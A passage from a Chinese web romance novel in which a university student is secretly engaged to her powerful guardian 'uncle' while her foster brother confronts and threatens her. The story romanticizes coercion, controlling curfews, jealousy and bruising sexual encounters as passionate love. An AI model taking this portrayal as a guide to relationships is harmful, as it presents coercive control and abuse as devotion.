谢沅现在只担心一件事。
她拉了拉沈长凛的手指,脸庞泛着浅红,细声说道:“叔叔,我白天也要那样叫您吗?”
谢沅到底知不知道自己在说什么?
沈长凛矜贵雅重的容色,在某一个瞬间有些难以维系-
沈宴白连着多日都在加班,事情来得太急,他甚至干脆住在了公司,一连多日都没有离开过。
等到他将事情都处理完时,谢沅已经开学了。
燕大的暑假很长,她这学期的课也不是很多,不过上学和休息到底是不一样的。
开学第一天,沈长凛亲自送谢沅过去的。
她昨晚睡得迟,上早十还觉得困倦,打着哈欠小声说道:“以后周日晚上要早睡,叔叔。”
小孩子被叫醒的时候,眼皮都抬不起来。
她这个假期过得很放松,一转眼居然开学,颇有些适应不过来,好在这学期的课很少。
沈长凛帮谢沅背着包,轻笑一声:“好,都听你的。”
他们的事还没有全然公开,不过江夫人那边他已经说过了。
现在两个人要比先前更加亲近,谢沅很多话也更加敢说了,她话天生就不是太多,但在沈长凛面前却不太一样,指使他的时候要求尤其多。
沐浴时要吃冰激凌,还要指定口味。
而且一盒没吃完,绝不能先开新的。
临到下车,谢沅才自己背上包,因为要上学,她手上的戒指暂时取了下来,不过沈长凛还是给她找了个替代的戴上。
是年轻人喜欢戴的那种。
谢沅打死都不肯戴,她摇着头说道:“太非主流了,叔叔。”
沈长凛在国内待的时间不长,他所在的层级又太高,没听懂她在说什么,轻声问道:“什么?”
谢沅挣扎许久,问道:“还有其他款式吗,叔叔?”
他以为她不喜欢这个颜色,点头应道:“还有很多。”
谢沅看到以后眼前发黑,最后挑选了一个最细的素圈戒指,然后在下车后就立刻摘了下来。
她去上专业课,联排的课程上到中午才结束。
回到家后,谢沅别别扭扭,还是从口袋中摸出那个素圈戒指,戴在了中指上。
沈长凛事情忙,要到晚上才回来。
沈宴白加班多时,连着多日都没归家,今天方才回来,他坐在餐桌前用午餐,见到谢沅背着包从外面回来,还有一瞬间的愣怔。
须臾,他才想起谢沅是开学了。
她看到沈宴白,也愣怔了一瞬。
谢沅好久没见到他,这几天又一直和沈长凛在一起,都快要忘了他这个人。
但在两人对上视线的刹那,她放松多时的心弦再度绷了起来。
上次他们的争吵并没有解决,不过是因为沈宴白临时有事,方才搁置了下来。
有一个说法是这样的。
爱会给人勇气,但人在幸福时,总比在不幸时,更不敢与人发生冲突,也相应的更会与人为善。
谢沅当时还敢与沈宴白大吵,如今却是没有那样破釜沉舟的勇气了。
她站在门边,樱唇紧抿。
在沈宴白意味莫名的视线落过来时,谢沅忽然有些不知要怎样言语。
他低声说道:“你手上是什么?”
沈宴白的语气看似很平静,情绪却是在压抑着,有作为兄长的,也有作为男人的。
其实他哪怕一言不发,谢沅也能意识到,她那段不为人知的心事,要成为他利用和要挟的把柄了。
这件事隐秘,她几乎一点痕印都没留,也没有同人讲过。
可是沈宴白是在风月场上滚打过的人,就是梳理脑海中的细节,亦是能寻到证据。
更何况沈家大少爷和寄人篱下的孤女,便是傻子也知道,谁的话更为可信。
谢沅的心底发冷。
如果有人告诉她几年后的沈宴白是什么人,她决计不会多看他一眼的。
沈宴白轻轻站了起来,容色中带着山雨欲来风满楼的意味,他仿着沈长凛的语调,低声问道:“不能让哥哥看看吗?”
第60章
顺从是会令人上瘾的。
沈宴白从前和谢沅的接触并不多,她在他跟前总是低着眉眼,缄默乖顺,一副逆来顺受的样子。
每次打完招呼,就像受惊的小兔子般跑上楼。
她很容易被说哭,三两句话,眼眸就红了。
沈宴白看到谢沅哭,并不会生出怜悯和歉疚,只会觉得厌烦。
因为一段久到当事人早已亡故数年的恩情,沈长凛将谢沅接回了家,把这个一无是处的女孩,当做公主似的养大。
她配不上沈家大小姐的身份。
她配不上沈长凛的娇宠和疼溺。
至于想做他的妹妹,那更是痴心妄想。
沈宴白很厌烦谢沅,在家里时从不会多看她一眼,在学校遇到时也只当她是个陌生人。
后来他出国读书,一年到头都见不到谢沅几回。
偶尔听到她的消息,也全是从霍阳等人的嘴里。
霍阳对谢沅挺好的,他来者不拒,上至三四岁的小女孩,下至七八十岁的老奶奶。
只要对方是女性,他都对人挺好的。
他照顾谢沅,也跟沈宴白说过她不敢玩滑翔伞、学冲浪的笑料。
那么沉闷无趣的一个姑娘,在霍阳的口中,却是可爱天真的,像深林中的小鹿似的。
其实有些事,他早该注意到的。
后来因为和秦承月的事,加上沈宴白自己也要毕业,他回国归家,与谢沅的相处也越来越多。
她没什么变化,还是柔弱少语,像朵菟丝花。
无论沈宴白言说什么,谢沅都是顺从的。
他平生最厌烦的,就是像他母亲那样没有主见的女人,看着是柔弱无能,实则是在助纣为虐。
说难听些,她在给他父亲做伥鬼。
可是谢沅实在是太顺从了,这种顺从像是带着一种成瘾的机制。
让人越发食髓知味,想要去探寻她的底线。
想要将这朵柔弱的菟丝花,永远地困在自己的掌心。
沈宴白也是在那个时候方才明白过来,他父亲一生风流浪荡,为何在妻子年华已逝后,仍然没有想过换一任新的妻子。
谢沅越来越顺从,而他却越来越上瘾。
不再能够忍受忤逆,也不在能够容许背叛。
而正是在这个无声息成瘾的过程中,沈宴白得以拨开谢沅的外相,窥探到她的另一面。
他是没有想过谢沅会喜欢自己。
沈宴白深谙风月,对情爱之事更是了如指掌。
平心而论,每次犯胃病时的悉心照顾,时常藏在暗处的关切眼神,小心翼翼精心准备的生日礼物。
还有偶尔沈长凛训他时,她拉着男人的手一道道细声的恳求。
他真的是觉察不到吗?
有些东西,就像是暗处的潮水。
很多时候并不注意,等到彻底留心的时候,已经漫过腰际要没过胸口了。
谢沅并非是沈宴白以为的逆来顺受,她看似柔弱,实则有很坚定,甚至可以说是桀骜不驯的一面,只不过相较于他,要藏得深太多。
像是包裹数层的礼物,要细细地拆,才能觉察。
谢沅柔弱,读高中时沈长凛没想让她太累着。
沈家养她实在是绰绰有余,就是她不学无术,做个纯粹的草包美人,也能将她包裹得华美闪耀。
谢沅答应沈长凛会注意身体,可是她会偷偷地为钻研一道题目,熬至深夜。
家里没人关注她的成绩,直到她分数下来的那一天。
其实有些事早就能见端倪,谢沅表面柔顺,但她的心里真的有那样乖巧吗?
沈宴白站起身,低眼看向谢沅,眸光暗沉地掠过她的指间,气血在翻腾、上涌,于某个时刻如若岩浆般要跃出火山。
是戒指。
戴在中指上,意味着订婚。
谢沅肩头还背着包,她破罐子破摔地将指节摊开,葱白的纤指上戴着素圈的银色戒指。
戒指的形状很普通,却决计不是廉价的货色。
沈宴白对礼服、饰品比谢沅还熟悉,他一眼就能看出,这个看似随意的戒指,也定然是给她的那人精心挑选的结果。
连日来对沈长凛和谢沅关系的怀疑,在此刻全都退了下去。
沈宴白想都没想过,谢沅竟然会和霍阳搅在一起,还到了这个地步。
男人是这样的。
自己怎样风流浪荡都无所谓,却绝对见不得家里妹妹与这样的男人亲近。
更何况沈宴白对谢沅的心思,一点也不清白。
他的手臂绷紧,在某个时刻几乎是想要打谢沅一巴掌。
沈宴白压抑着情绪,低声怒道:“你是不是疯了?”
但是谢沅的眼底是他从来没见过的情绪,戒备,冰冷,还有藏得并不深的厌恶。
“疯了的是你,哥哥,”她仰起眸,“我跟谁在一起,结婚不结婚,都和哥哥没有任何关系。”
谢沅的性格柔软,从不轻易和人轻易起争执。
但在沈宴白的面前,她无法控制地应激。
“我只是喜欢过哥哥,没有道理要为你守贞,”谢沅眸光颤抖,“现在我有真正爱的人了,你……不要再打扰我了,好吗?”
她的话语好像柔弱,带着些恳求。
那双水眸里却只有疏离,抵触,以及戒备的情绪,就好像沈宴白是什么洪水猛兽。
他的声音沙哑:“你想都不要想,谢沅。”
“是沈家把你养大的,”沈宴白压着脾气,“你就永远都是沈家的,知道吗?”
他冷声说道:“没有我和叔叔的首肯,你谁都不要想嫁。”
谢沅蓦地反应过来,她和沈宴白说得不是一个人,他好像搞错了,以为她真的要嫁给霍阳。
她不善言辞,说不过沈宴白。
此时思绪更是有些乱,不知道要怎么回。
“我下午还有课,先午睡了。”谢沅低声说道,然后便匆匆上楼。
她走得很快,跟逃也似的,急急忙忙地就离开了。
沈宴白心底的暗怒更甚。
他这些天忙得脚不沾地,心里还念着谢沅的事,这边甫一回来,她就是这样待他的?
沈宴白气得直冒火,还是吼道:“你还没吃饭!”
谢沅今天就是饿死在楼上,也不要跟沈宴白一起用午餐。
她一边快步小跑着进卧室,一边匆匆地跟霍阳拨了电话,问他如今到底是个什么情况-
谢沅这学期课很少,全都堆在了周一。
从早上十点多一直上到晚上九点,沈长凛顺路过来接她。
小孩子开学第一天,心情不太好,人也蔫蔫的,不过指间还乖顺地戴着那个素圈戒指。
沈长凛抚了抚谢沅的头发,将她抱在怀里。
他轻声问道:“怎么了,不高兴吗?”
谢沅的情绪很好看出来,她坐在他的腿上,小脑袋埋在他的肩窝里,动作幅度很小地摇了摇头。
她闷声说道:“没事,叔叔。”
沈长凛神情微动,掰过谢沅的脸庞,低声问道:“你确定没事吗?”
他动作很轻,但她却被迫抬起了眼眸。
因为谢沅已经开学,沈长凛便没有先想到沈宴白,下意识觉得是她在学校受了委屈。
她的身份鲜有人知,就是知道的人也不敢言说。
这少了很多麻烦,但偶尔也会带来新的麻烦。
沈长凛抚了抚谢沅的脸颊,轻声问道:“是有什么事情吗?可以跟叔叔说说,我来想想有没有什么办法?”
他的声音很温和,没有强迫的意味。
谢沅当然不敢告诉沈长凛,她是因为什么事低落。
她低声说道:“没有什么事,叔叔,就是……就是我喜欢的那位教授,去别处了,这学期不再开课了。”
谢沅仰起水眸,看向沈长凛。
她到底还是小孩子,总还会为这种事烦扰。
不过在她的世界中,这或许真的是天大的事。
沈长凛揽着谢沅的腰身,将她往上抱了少许,声音轻柔地问道:“那有什么须要我做的吗?”
她紧忙摇头,认真地说道:“不用,叔叔,那位教授是去国外深造了。”
看她这紧张的样子,沈长凛忽而有些想笑。
他轻声说道:“之前和你说了吗?我过段时间也要离开,海外有些事情要处理。”
秦沈两家都是家大业大的典型。
谢沅天天跟在沈长凛身边,知道他工作繁忙,也常看他的行程表。
但到底有多少事情要处理,那些事情又有多麻烦,并非是她能够想得出的。
谢沅窝在沈长凛的怀里,脸上失落的情绪更明显了,她对他的依赖真的很深很重,他去宁城、滨城,她都要忧虑许久,更不要说出国门了。
他揉了揉谢沅的头发,声音柔和:“不会很久的。”
“等我回来,”沈长凛慢声说道,“我们就定下来吧,好吗?”
他的眼眸低垂,轻轻凝视着她。
沈长凛的占有欲和控制欲病态,他没有立刻要求领证,谢沅便觉得他已经让步、敛着许多。
和秦承月的事已经有段时候了。
而且谁都知道,当初是因为秦承月和温思瑜有牵扯,婚约才解除的。
可是沈长凛忽然将这个要求提出来,谢沅才想起这之外的事。
她从前不敢公开,不是害怕其他,而是害怕沈长凛遭受流言蜚语,在她的心里,他就应该永远如云端月,温雅矜贵,不容染指。
没有任何风言,能够触碰到他。
但两个人的关系特殊,不太可能没有任何风声。
尤其是还有沈宴白在中间横着。
谢沅许久没言语,沈长凛的容色也渐渐冷下来,她这个年岁的孩子情感不坚定。
离开他时还伤心、难过的掉眼泪,真正走后却能玩得乐不思蜀,连个消息都不跟他发。
他的容色正冷着,谢沅忽然拉住他的手。
她垂着眸,细声说道:“会不会有人说,叔叔?”
“没有人想到我会做您的妻子,”谢沅的神情带着挣扎,“而且我还和承月哥有过婚约,要不……要不等再过段时间吧,叔叔?”
她很敬着他,最怕的事就是给他带来麻烦。
沈长凛薄唇微抿,忽然意识到谢沅的挣扎从何而来。
当初刚跟他在一起时,她看到秦承月的电话都不敢接,后来知道秦承月和温思瑜在一起,她身上来自道德的压力才退去许多。
这段感情不是自然而然的。
是沈长凛用手段,甚至可以说靠逼迫谢沅维系的。
他抛弃了道德,也抛弃了礼义。
明知道谢沅心有所属,还是将她给夺了过来。
所以在这段关系中,沈长凛再位高权重、尊崇矜贵,也依然是在不确定中的一方。
谢沅并不知道,他身边的人,许多都知道他们的关系,照顾她的那些人,更没有一个不知道她就是未来的夫人。
虽然没法公开。
但沈长凛不允许任何人因之冒犯到谢沅少许。
当然,也有满足他那病态私心的意思。
只是沈长凛很迟很迟地才想到,他没有道德和礼义,他的沅沅却还有。
她害怕为人所知,不是因为不爱他,而是因为不希望他被丝毫的风声所侵扰。
其实这哪里是她应该担心的事呢?
谢沅在沈家多年,好像一直没有明白一个道理,就是道德的规则并不适用于绝对的高位者。
更何况,他们之间本就没有血缘。
秦家和谢家有旧恩,这是谁都知道的,秦承月和温思瑜的私情,更是天然地加了一层屏障,让沈长凛和谢沅的事更加合理。
秦家谁来娶谢沅都是娶,还不如直接让他这个家主来娶算了。
两个人本来就是名正言顺的。
沈长凛抱着谢沅,低低地吻她:“你怕什么?”
“就是你已经嫁给秦承月,有了他的孩子,大着肚子,”他的声音微哑,“叔叔照样会将你夺回来的。”
沈长凛的指节精致苍白,像是玉石雕琢而成。
他轻捧着谢沅的脸庞,一字一句地说道:“叔叔当然会保护你,可是你觉得,我是会在乎流言蜚语的人吗?”
沈长凛的话语带着近乎恐怖的深情。
他的眼眸是渊水般的柔情,晦涩到要令人坠入那深暗里。
谢沅被沈长凛抱着亲吻,伶仃的脚踝也被他修长的指节扣住,轻轻地把玩。
她的脸庞被他掌住,水眸只能和他对视。
沈长凛的眼底是不作任何掩饰的偏执。
胸腔里是阵阵的心悸,有声音在不断地警告谢沅,不要再向那潭看似清浅、实则深暗至极的水里靠近,她会被彻底吞噬的。
可有另一种冲动,让她无法抵御血脉本能里的吸引。
残存在生物体中的原初欲念在作祟,驱使她主动地踏入到疯狂之中。
谢沅用手捧住沈长凛的脸庞,带着些压抑情绪地回吻他。
“……您为什么总想着要掠夺我呢?”她声音很低,“您就没有想过我是愿意的吗,叔叔?”
谢沅的脸庞潮红,唇瓣也被吻得微肿
可那双眼眸却直直地看向了他。
沈长凛眸色晦暗,眼底的情绪比方才还要更恐怖,再没有白昼时温柔矜贵的模样,藏在心底多时的异兽冲出最后的闸门。
恶欲如有实形,让那双色泽稍浅的眼里只余下深暗到病态的念头-
将近零点时,谢沅才被沈长凛给抱下楼。
她身上穿着黑色的吊带睡裙,纤细莹白的手臂攀上他的脖颈,就连这样简单的动作都要没力气支撑。
黑色的薄裙将雪肤衬得更加白皙,却也令那些深重到遮掩不住的痕印更加显眼。
到底是夏天,总不好不让孩子穿裙子。
尤其是现在沈宴白也在家里,之前就撞见过谢沅腕间的肿痕。
沈长凛近来一直很注意,不在明显的地方留痕印。
今夜还是第一次如此。
谢沅的肩头和锁骨全是深红浅红的印子,腕间的掐痕也深重,连被乌发遮掩住的后颈,都有连片的吻痕。
柔软白腻的腿根,痕印多到没法看。
更不用说,是被黑色吊带薄裙遮掩住的地方了。
谢沅哭得眼眸肿起,嗓音也全然哑了,话都要说不出来,低着眸子掉眼泪。
她身上完全没力气,坐在沈长凛的手臂上,身躯也还在摇晃,若不是他扶着她的腰身,只怕没走两步,就要掉下去了。
谢沅刚刚沐浴完,头发还带着潮意。
乌发披散在雪白的肩头,像是如水般的深色绸缎。
指间的素圈戒指,在意乱情迷时,又被换回了那枚贵重到不可思议的求婚戒指。
粉色的主钻和蓝色的副钻交相辉映。
在交扣状戒托的映衬下,美丽得近乎灼眼。
可戴在那双柔美纤细的手上后,人却只能先注意到这双手是这样的如若凝脂。
沈长凛俯身,低声哄谢沅:“不哭了,沅沅。”
他越哄她哭得越厉害,连家里还有没有人都顾不得了,虽然沈宴白的确也不在家里。
“你不能……不能这样。”谢沅带着哭腔说道,“太过分了。”
沈长凛占有欲和控制欲极强,在床笫间手段又狠,花样又多,很难招架。
好在他还算寡欲淡漠。
可是今天谢沅方才明白,男人真正狠起来有多恐怖,她的柔膝完全肿了起来,雪肤也没留一处柔白。
她整个人都要被拆吃入腹,最后连怎么结束的都不知道。
谢沅只记得她被哄着唤老公,她天真地以为这样就能解脱,但越唤沈长凛就越狠。
她哭着抹眼泪,身躯不住地往后。
沈长凛一把又将她抱回了怀里。
“抱歉,沅沅,”他歉然地说道,“是叔叔的错,下次不会这样了。”
说给谢沅的道歉话语,渐渐有了固定的要求,如果没有那句“下次不会如此”她是不会如愿的。
可事实是,沈长凛这句话早就说了无数遍。
谢沅每回都要听到才满意,但下一回总没空提前阻止他,事后哭红了脸讲他,也没有任何用处。
她眸里尽是委屈,继续跟他讲条件:“你不能这样了,最近都不能。”
这会儿沈长凛就没有不应的话。
他点点头,将人抱在怀里,温声保证道:“好,都听沅沅的。”
谢沅终于才不哭。
她方才脑中是一片空白,这会儿思绪还是乱的,再加上中午才跟沈宴白吵过架。
谢沅根本没有心思去想沈宴白在不在。
她坐在沈长凛的腿上,带着哭腔指使他:“我要先吃椰子,叔叔来开。”
谢沅是个很乖柔的孩子,参加宴席时连对侍者都很有礼貌,只有每次被沈长凛欺负惨了的时候,她才会格外的任性。
时间已经太迟。
沈长凛订的一家酒店的餐。
他帮谢沅开了椰子,然后把杯子里的椰子水递给她,柔声说道:“慢一点用。”
她刚刚喝了好多水,现在还是渴,喉咙里跟要冒烟一样。
谢沅捧着杯子,大口地喝着椰子水,然后又用餐叉开始吃椰肉,她的眼皮红红的,透着肿意。
沈长凛将餐点准备好,然后又把她抱回到了膝上。
“慢一点,沅沅。”他轻声说道,“小心胃疼。”
谢沅累到没有力气,想要挣扎一下,也被沈长凛轻易地按在了怀里,他吻了吻她的额头:“刚刚叔叔让你受累了,现在让我来补偿沅沅,好吗?”
她本来就很好哄,现在又没有力气。
谢沅靠坐在沈长凛的怀里,就这样被他喂完了整顿晚餐。
吃完以后,他抚着她柔软的小腹,轻轻地按揉着。
谢沅想起沈长凛刚才也是这样的动作,樱唇紧抿着,小心地拿开了他的手:“我、我胃里不难受了,叔叔。”
她的脸庞透着薄红,满是羞意。
还带着少许细微的恐惧。
沈长凛愣怔了一瞬,才意识到谢沅在想什么,他低笑一声:“好。”
今天荒唐了太久。
被沈长凛再度抱回到卧室时,谢沅眼皮沉重,挣扎着就要睡过去。
只是临到睡前,她还是轻轻地拉住了沈长凛的手:“叔叔,我有一件事想跟您说。”
谢沅似乎是犹豫了很久。
她胆子小,有些话反倒是要趁自己迷乱时来说。
“等您从国外回来,”谢沅细声说道,“我再告诉您,行不行?”
她的长睫低垂着往下落,在眼睑处洒下一层浅金色的阴影,像是扑闪着的蝶翅。
沈长凛觉得他的情绪在这一生都没有一天这样温和。
他啄吻了一下谢沅的樱唇,声音很轻,柔得像风一样:“好,沅沅。”
谢沅靠在沈长凛的怀里,紧绷的心弦渐渐地放松下来。
她不想要被沈宴白威胁了,她也不想要因为过去的事担惊受怕了。
她想要好好地和沈长凛在一起,等时间合适了,她要正大光明地告诉沈宴白,跟她在一起的,自始至终都是沈长凛。
谢沅很少会幻想以后的事,可在意识进入深睡眠前,一直忍不住地在想。
外公他们知道会很震惊吗?
他很喜欢她,也很疼她,要是误会叔叔强掠她怎么办?
叔叔会同意她继续读书吗?
他养她多年,用不着她相夫教子,应该不会不同意吧?
思绪纷纷扰扰,却始终带着一种梦幻般的甘美。
虽然听起来好像很不可思议,但叔叔好像真的有特别、特别地爱她-
谢沅是第二天睡起来,才知道沈宴白又去宁城了。
沈家在国内宁城的事务是最多的,谢沅的祖籍是在江省,其实沈家的祖籍也是江省。
沈老先生是个地地道道的江省人。
不过谢沅来到沈家的时候,他已经故去很久了。
江省谢家是延绵数百年的名门,在明朝时出过首辅,于前朝也非常辉煌,名人无数,其实至今还有人身居高位,不过和谢沅的关系就已经很远了。
江省沈家也是很有名的高门。
不过因为某些缘故,如今这年头,占据高位的豪门多数来自辽东、关陇、燕赵这些地方。
然后就是宁城。
谢沅今天没什么课,她睡醒以后也没起床,抱着平板刷了片刻。
温思瑜和明席的事快要近了。
谢沅最近没怎么出门,也听闻了这桩事。
她同样是前不久,方才知道当初沈长凛不是直接不同意温思瑜和秦承月的婚事。
无论是从什么层面来看,温家和秦家都不能联姻。
他当初给的条件很简单。
秦承月放弃秦家养子的身份,或者温思瑜彻底和温家划清界限。
后者基本来说是不可能的。
温思瑜是温家的对外名片,而且又是温家的长公主,但谢沅知道,温思瑜是有过这个想法的。
前者其实反倒没那么难办到。
脱离秦家,对秦承月来说并不困难,他是有自立能力的。
可事实是,两件事都没能办到。
豪门之间的婚姻,讲究的是利益交换,秦承月如果脱离秦家,他对温家来说也就没有意义了。
便是温思瑜执意嫁给他,姑母沈蓉也首肯。
温家真正掌事的那些人,乃至她父亲也不会同意。
两个人的婚事,在他们二人身份的影响下,自始至终都是一个荒唐的悖论。
谢沅慢慢地将温思瑜订婚宴的资料看完,然后又看设计师发来的几套礼服,这次的宴会很大,比之前任何一次的都要大。
不出意外的话,沈宴白也得过去。
他们一个代表温思瑜的朋友,一个代表温家的姻亲。
沈长凛到时要去国外,不然谢沅可以和他一起去的,他们还没怎么一起露面过。
她看了片刻的平板,才发觉手上的戒指没有摘下来。
谢沅记得她睡前明明是取下来的,总不会是梦游,然后又戴上的吧?
她懵懵懂懂,却没有再多想,小心地把戒指放了回去。
谢沅刚将戒指放好,屏幕亮起,霍阳的电话便打过来了,昨天跟他通过电话后,她才知道这是怎么一回事。
她对他有些歉然,跟他好好解释了一番。
两人到底是做了很久的朋友,最终和平地结束了对话。
这会儿谢沅还是不好意思拒绝霍阳的电话。
她将电话接了起来,就听到霍阳带着酒气,声音微哑地说道:“沅沅,要小心温怀瑾和你哥哥。”
说完,霍阳就挂了电话。
60-70
第61章
谢沅神情愣怔,她下意识地便回拨过去,再听到的就是嘈杂的乐声。
霍阳似乎是有些喝高了,拿着话筒在胡乱地唱着什么。
金属质感的摇滚乐震耳欲聋,但一个具体的音调和词句也听不清,谢沅抬高音量唤了霍阳好几声,也没有得到回答,她到底是挂了电话。
谢沅凝眸看向外间的青绿,指节缓缓地收紧。
霍阳哥的话是什么意思呢?
他们虽然同在一个圈子,但男人和男人的关系总要更近一些,也更容易窥见到某些不为人知的秘密。
沈宴白要小心,谢沅已经心知肚明。
她只是没太明白,霍阳为什么还要她小心温怀瑾?
而且说这话时,霍阳还将温怀瑾放在了沈宴白的前面,温家表哥大多浪荡,只有温怀瑾很不一样。
他没有世家子弟的矜傲,平易近人,性格温和,好说话又很好相处。
温怀瑾不太像高门出来的,更像是一位寻常的邻家哥哥。
难道他也对她有那种掠夺的想法吗?
谢沅的眸里带着茫然。
但片刻后,她蓦地想起在天行山露营时,温怀瑾隔着一段距离,莫名看过来的危险视线。
谢沅在很多事情上的反应都有些迟钝,唯有在觉察危险时,要比常人敏感一些。
霍阳说话不会空穴来风。
他跟他们熟悉,再说沈宴白的确是要小心的,他的话就算不用验证,也已经准确了一半。
谢沅抿了抿唇,没有再一直多想。
反正近来不会见到温怀瑾,如果偶然遇见,她小心注意应该就没事。
等到再过段时间,和沈长凛的事情定下来后,更没有会再来打她的主意。
谢沅撑着手臂坐起身,最终是将手机和平板都放了下来。
她身上还疼着,许多掐痕、指痕也还没有消去。
谢沅咬住下唇,在起身时还是忍不住地倒吸冷气,好在家里没人,不过下午去上课时,她还是换了上长袖外套。
哲学系相较于其他专业,整体带着一种养老的闲适氛围。
尤其是到了大三,课业也渐渐减少以后。
第一周匆匆地过完,谢沅一点也没累着,比暑假时感觉还要更轻松,不过她的朋友们总还很忙。
一直到周五的晚上,众人才终于又聚上。
谢沅整个周五都没课,是特意过来这边的,她来得稍迟一些。
她刚一落座,余温就把冰激凌递给了她。
今天来吃的是火锅,鸳鸯锅很漂亮,红汤和白汤被分隔开来,蒸腾着热气。
谢沅很久都没吃火锅,眼眸微微亮了一下,她用小勺子舀着冰激凌,柔声说道:“今天吃火锅呀。”
余温升入大三后,比大一大二还忙。
她不仅要兼顾学业和各种活动,还要开始准备实习的事,恨不得将二十四小时掰成两瓣用。
好容易到了周五晚上,才能喘口气。
余温看着谢沅天真懵懂的模样,忍不住地敲了她额头一栗子。
她狞笑着说道:“这几天过得是不是很滋润?”
谢沅也没有特别滋润,她这学期课少,只要第二日早上没课,沈长凛再晚回来也不放过她。
她算是彻底明白,他之前敛着,不过是为求婚做准备罢了。
谢沅偶尔半夜睡醒,想去喝点水,腰身也被男人紧攥着,有时候不过是一个眼神不对,便被他又掐着细腰抱到了身上。
她的脸庞微红,摇着头说道:“没有。”
谢沅强作镇定,捧着冰激凌碗说道:“我们的课虽然少,但是也有很多事情要做的。”
“还要看书,还要写论文,”她掰着手算道,“还要……”
余温轻轻又敲了谢沅一下,说道:“怎么不说了?是不是就没事了?”
谢沅吃痛,额前的碎发也乱了。
她皮肤很白,额头泛起红痕,眼眸里也带着委屈:“这些不是事情吗?”
冯茜和另两个男生听到便笑了。
五个人聚在一处,嬉嬉笑笑,却是难得的放松。
谢沅的校园生活枯燥,都是和他们常一起相处,方才变得有趣味起来。
聊着聊着,话题又到了谢沅的身上。
上一回去参加云中的校庆,她有男友的事众人便已经知道了,但听别人来讲,哪里有听当事人来讲有意思?
谢沅没打算再瞒着,却还是被查户口似的又问了一遍。
沈长凛的很多事,都是谢沅听他的特助和秘书们说的,她一边回想着,一边把说辞含糊,然后又说给朋友们。
好在有余温帮着补充,不然她也记不全。
有一个男生问道:“那他现在还在燕城工作吗?”
谢沅不太懂商科这些事,也不太懂这个圈子,她迟疑地点了点头:“在燕城工作,不过经常要出差去外地。”
冯茜捧着茶杯,说道:“哇,那还挺辛苦的。”
谢沅一边用长筷子夹起肉片,一边强作平静地说道:“是,是很辛苦。”
余温上回没问太多,都是谢沅旧时的朋友在问。
那男人的气场极强,压迫感更是深重到有些恐怖,瞧着温柔矜贵,却绝不可能有人将之错认。
气势太过,反倒让人在第一眼会忽视那无可言说的俊美容色。
不过就算意识到了,也绝不会有人敢多看、多言说。
这样的一个人,怎么到了谢沅的嘴里,会变成辛苦的金融社畜?
余温的唇角抽了抽,还是笑着帮谢沅补充道:“上回我们也没多见着,就是他来找沅沅时,我们刚巧撞见了。”
那男生又问道:“工作也在咱们区吗?明升,南成?”
他随意地说了几个,谢沅听都没有听说过,她摇着头,细声说道:“我也不记得了。”
商科很重实习,他们对这些有名的公司都很了解。
同在一个圈子里,很多消息都是互通的。
谢沅一问三不知,如果不是有余温打包票,众人都要担心她是被人骗了。
但她真的不太明白,连编都编不出来,秦沈两家都是很大的集团,有很多下属的公司和分公司,整个架构非常大。
沈家更是有一大部分重心在海外。
余温听到对面男生的话,却是来了兴致:“我们高中有个学姐就进明升了。”
谢沅懵懵懂懂,只是觉得这个名字有些熟悉。
余温跟她解释道:“是沈氏集团下属的一个公司,还记得我上回跟你说过的那个霸总学长吗?他就是沈家的大少爷呀。”
“他们都是云中的,”余温夸张地说道,“当年谈得特别轰轰烈烈。”
她感慨地说道:“可惜最后分手了,不然那个学姐估计都已经加入豪门了。”
冯茜忍不住笑道:“跟小说剧情一样。”
谢沅明白过来余温说的是谁。
是明愿。
她也终于想起来,为什么明升这个名字听起来这么耳熟了。
明升和沈氏的总部离得并不远,沈宴白明面上是沈氏的副总经理,近来一直在忙的其实是明升那边的事。
包括这次急匆匆地前去宁城,为的也是明升的事。
沈家是在宁城那边发的家,现在重心在燕城和海外,但最重要的分属公司都在宁城江省。
谢沅不得不感叹,人跟人的缘分是这样强大。
明愿是绝对不会知道沈宴白和明升的事,燕城这么大,可她偏偏来到了明升。
谢沅喝了口果饮。
她垂着眸暗想,好在她早已放弃了沈宴白,放弃了飞蛾扑火-
谢沅提前跟沈长凛说过,回家可能会迟,但还是赶在十一点前到的家。
他给她的门禁向来严格,出入都要报备,还要家里的司机接送才行。
谢沅不知道婚后,沈长凛会不会不那么严格。
但最近她还是不敢赌。
幸运的是,谢沅回来的时候,沈长凛还没回来,她舒舒服服地去洗了个澡,然后换了新的睡裙。
可刚从浴室走出来,便被人抱在了怀里。
沈长凛马上就要准备出国,连日来都不肯放过谢沅。
周末她在家里休息,他更没理由放了她。
之前沈长凛去远处还只折腾谢沅一晚上,现在却是连着数日都将她快要折腾坏。
谢沅的眼泪掉个不停,到最后时整张柔美的脸庞都哭红了,眸里水光潋滟,沈长凛还在吻她湿红的眼尾。
他的手掌抵在她的后腰,将她抱在怀里,轻轻地吻,重重地揉。
谢沅的腰肢纤细,快要被掐断,折成崩溃的弧度。
她忍不住地想要逃,可沈长凛却将她的腰攥得更紧了,那双手像是被玉石雕琢而成,修长苍白,精致如玉。
他声音微哑:“马上就要分开了,沅沅不会想我吗?”
谢沅哭着说道:“会……会的,叔叔。”
但她还没说完,沈长凛便捏住她的下颌,又轻声问道:“还是说,你心里在盼着叔叔赶快离开?”
他的声音温柔,眸色却略微有些暗。
“没有,没有。”谢沅不住地摇头,“我不想叔叔离开的。”
沈长凛有在克制掌控欲和占有欲,这时候还是忍不住说道:“那你今天还出去那么久?叔叔马上就要走了。”
他是多矜贵尊崇的人,说这话时却带着些其他意味。
谢沅终于意识到,沈长凛才不是刚好晚归,不过是因为她不在家,他才一直在处理工作上的事情罢了。
她的眼眶里还盈着泪水。
谢沅却到底是撑着手臂坐起少许,倾身吻上了沈长凛冰凉的唇。
她的吻技还不是很好,只能说是勉勉强强过得去。
“对不起,叔叔。”谢沅低下眼睫,带着鼻音说道,“我不知道您有在等我,下一次我不会再这样了。”
她的声音很柔软,身躯很柔软,眸光也是柔软的。
沈长凛神情微怔,一时之间没有言语。
谢沅用小手捧着他的脸庞,低低垂着的长睫掀起来,抬眸看向他的眼,弱声说道:“叔叔,你要是想让我早点回来,告诉我行不行?”
她的声音细柔:“我可以早回来,还可以和朋友约别的时间。”
“但是您不说的话,我有时候真的猜不出您的想法,”谢沅的神情乖乖的,“我不想您不高兴,所以您下回告诉我吧,给我一点提示也行。”
她的眼眸也是,盛满了星子般的水光。
明明方才还怕得想逃,可这会儿又全是信任和依赖。
哪怕是再相爱的人,也不可能做到真正的心有灵犀。
沈长凛接手秦沈两家很早,他少时长在国外,又多年来在商场杀夺,虽然身份尊崇,可却什么样式的人都见过。
